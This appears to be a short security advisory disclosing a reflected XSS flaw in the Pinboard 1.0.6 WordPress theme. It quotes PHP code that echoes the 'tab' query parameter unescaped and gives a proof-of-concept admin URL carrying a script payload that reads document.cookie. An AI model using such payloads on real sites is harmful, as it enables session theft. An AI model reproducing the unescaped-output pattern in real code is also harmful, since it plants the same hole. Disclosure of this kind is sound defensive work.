Wordpress theme pinboard 1.0.6 XSS

2013-02-10
ID: 75276
CVE: None
Download vulnerable application: None
I am writing to notify you about a XSS I have found in the free Pinboard
1.0.6 theme for Wordpress. This XSS happens in one of the administration
pages so it can only be triggered by authenticated users.

Here is the part of the code that is compromised
(includes/theme-options.php):

<?php $tab = ( isset( $_GET['tab'] ) ? $_GET['tab'] : 'general' ); ?>
    <input name="pinboard_theme_options[submit-<?php echo $tab; ?>]"
type="submit" class="button-primary" value="<?php _e( 'Save Settings',
'pinboard' ); ?>" />
    <input name="pinboard_theme_options[reset-<?php echo $tab; ?>]"
type="submit" class="button-secondary" value="<?php _e( 'Reset Defaults',
'pinboard' ); ?>" />

The issue happens because the variable $_GET['tab'] is not being properly
escaped, causing the issue.

Here is a proof of concept:

http://wordpress_site_with_active_pinboard_theme/wp-admin/themes.php?page=pinboard_options&tab=
]"><script>alert(document.cookie)</script>

For accessing the URL directly, Firefox should be used as Chrome seems to
have some anti-XSS protections in place.
1-4-2 (www01)